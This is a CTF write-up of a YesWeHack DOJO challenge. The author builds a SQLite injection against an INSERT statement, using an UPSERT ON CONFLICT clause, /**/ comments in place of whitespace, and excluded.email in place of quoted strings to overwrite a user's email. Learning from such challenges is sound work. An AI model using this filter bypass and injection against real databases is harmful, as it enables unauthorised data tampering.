Introduction⌗

This was an SQL challenge hosted by YesWeHack as their monthly DOJO challenge. You can find it here. I had been noticing these DoJo challenges popping up in my Twitter feed for the last couple of months but was busy (being lazy) so couldn’t really try to solve them. But this time I decided to put it in my to-do list so that I am reminded every time I have a look at the list. Although the challenge was released at the beginning of August month and would last for a month, I decided to actually have a look just 2 days before it was ending.

Goal of the challenge⌗

Perform an SQL injection that changes the email address CatchMe@gmail.com to McLovin@gmail.com for the fake McLovin user!

Source Code⌗

Here you can see the SQL queries (for sqlite3 database) that are executed whenever you enter a password

sanitisation.jpg

 1 --run
 2 CREATE TABLE superbad(
 3     id INTEGER PRIMARY KEY,
 4     country varchar(10),
 5     email varchar(30) UNIQUE,
 6     username varchar(30) UNIQUE,
 7     password varchar(70)
 8 ); -- I got the username first McLooovin!!
 9 --run
10 INSERT INTO superbad(country, email, username, password) VALUES('USA', 'CatchMe@gmail.com', 'McLovin', '*******');
11
12 --run
13 INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', $pass)
14
15 --return
16 SELECT * FROM superbad;

A table superbad is created with given column names. The details of user McLovin are inserted and in the next line, another entry is created but with a different email. The username is supposed to be unique so this will cause an error SqliteError: UNIQUE constraint failed: superbad.username.

We can see the $pass variable is being passed into the INSERT query in line 13. The $pass variable undergoes some sort of sanitisation, first, it is URL decoded then a regex pattern for match-replace operation is applied to it, the regex pattern is [0-9]|'|"|`|\s which means every number, single quote ('), double quote ("), backtick (`) and white space is replaced by text _IfYouCanGetADigit_YouCanGetACharacter_. So we can’t use these characters in our payload.

Reading Docs FTW⌗

I read some CTF writeups that were similar looking but couldn’t get anywhere with them. So I decided to read the SQLite documentation that can be found here. The search field in this documentation was very beneficial, I just searched for the keyword unique and hit enter.

readingdocs.jpg

UPSERT is a clause added to INSERT that causes the INSERT to behave as an UPDATE or a no-op if the INSERT would violate a uniqueness constraint.

That’s EXACTLY what we need!!

They have an example section that matches our EXACT needs.

So we can use this UPSERT clause to convert our INSERT query to UPDATE while triggering a uniqueness constraint.

We have the query,

INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', $pass)

As there is already an entry with McLovin as the username, this will violate the uniqueness constraint thus we can use the UPSERT clause. For the password, we can use random(). To use the UPSERT clause ON CONFLICT(<column_name>) is used where <column_name> is the column name that violates the uniqueness constraint, in our case it is username. After that, we need to update the email column as the challenge demands so our payload becomes,

random()) ON CONFLICT(username) DO UPDATE SET email='McLovin@gmail.com';--

This makes our query,

INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', random()) ON CONFLICT(username) DO UPDATE SET email='McLovin@gmail.com';--)

This didn’t work, because of sanitisation, we can’t have whitespace and single quotes. The alternative of whitespace is pretty easy, just replace them with a multiline comment /**/. So our payload becomes,

random())/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email='McLovin@gmail.com';--

and our query,

INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', random())/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email='McLovin@gmail.com';--)

But still, we have to get rid of single quotes, let’s read the docs.

the expression in the DO UPDATE clause is of the form "excluded.phonenumber". The "excluded." prefix causes the "phonenumber" to refer to the value for phonenumber that would have been inserted had there been no conflict.

excluded.<column_name> is the thing we need here.

This makes our final payload,

random())/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email=excluded.email;--

Our final query,

INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', random())/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email=excluded.email;--)

And we did it!!

POC.jpg